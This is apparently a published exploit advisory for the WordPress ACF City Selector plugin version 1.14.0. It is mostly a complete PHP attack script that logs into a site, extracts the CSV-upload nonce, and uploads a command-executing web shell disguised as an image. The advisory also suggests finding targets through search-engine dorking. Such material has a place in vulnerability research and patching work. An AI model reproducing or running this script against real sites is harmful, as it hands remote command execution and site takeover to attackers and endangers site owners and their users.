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| # Title : WordPress ACF =============================================================================================================================================
| # Title : WordPress ACF City Selector plugin versions 1.14.0 Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/acf-city-selector/#developers |
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POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] vulnerability found in WordPress ACF City Selector plugin versions 1.14.0 & suffers from a remote shell upload vulnerability.

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php <URL> <USERNAME> <PASSWORD>

[+] PayLoad :

<?php
error_reporting(0);

function curl_request($url, $post = null, $headers = []) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt");

if ($post !== null) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}

if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}

$response = curl_exec($ch);
curl_close($ch);
return $response;
}

function get_plugin_version($url) {
$version_url = "$url/wp-content/plugins/acf-city-selector/readme.txt";
$response = curl_request($version_url);
if ($response && preg_match('/Stable tag:\s*(\d+\.\d+\.\d+)/', $response, $matches)) {
echo "[+] Detected plugin version: {$matches[1]}\n";
return $matches[1];
}
echo "[-] Failed to extract version. Exiting.\n";
exit();
}

function login_to_wordpress($url, $username, $password) {
$login_url = "$url/wp-login.php";
$data = [
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
];

$response = curl_request($login_url, http_build_query($data), [
"Content-Type: application/x-www-form-urlencoded"
]);

return strpos($response, 'dashboard') !== false;
}

function extract_nonce($url) {
$dashboard_url = "$url/wp-admin/options-general.php?page=acfcs-dashboard";
$response = curl_request($dashboard_url);

if (preg_match('/<input name="acfcs_upload_csv_nonce" type="hidden" value="(.*?)"/', $response, $matches)) {
echo "[+] Extracted nonce: {$matches[1]}\n";
return $matches[1];
}
echo "[-] Failed to extract nonce value.\n";
exit();
}

function upload_shell($url, $nonce) {
$shell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>';
$upload_url = "$url/wp-admin/options-general.php?page=acfcs-dashboard";

$post_fields = [
'acfcs_upload_csv_nonce' => $nonce,
'acfcs_csv_upload' => new CURLFile('shell.php', 'image/jpeg', 'indoushka.php')
];

file_put_contents('shell.php', $shell);

curl_request($upload_url, $post_fields, [
"Content-Type: multipart/form-data"
]);

$shell_url = "$url/wp-content/uploads/acfcs/indoushka.php";
if (curl_request($shell_url)) {
echo "[+] Shell uploaded successfully: $shell_url\n";
} else {
echo "[-] Shell upload failed.\n";
}
}

function main($url, $username, $password) {
$plugin_version = get_plugin_version($url);
if (version_compare($plugin_version, '1.14.0', '<=')) {
echo "[+] Vulnerable version detected! Proceeding with exploitation.\n";
if (login_to_wordpress($url, $username, $password)) {
$nonce_value = extract_nonce($url);
upload_shell($url, $nonce_value);
} else {
echo "[-] Failed to log in.\n";
}
} else {
echo "[-] Plugin is not vulnerable. Exiting.\n";
exit();
}
}

if ($argc < 4) {
echo "Usage: php script.php <url> <username> <password>\n";
exit();
}
main($argv[1], $argv[2], $argv[3]);
?>

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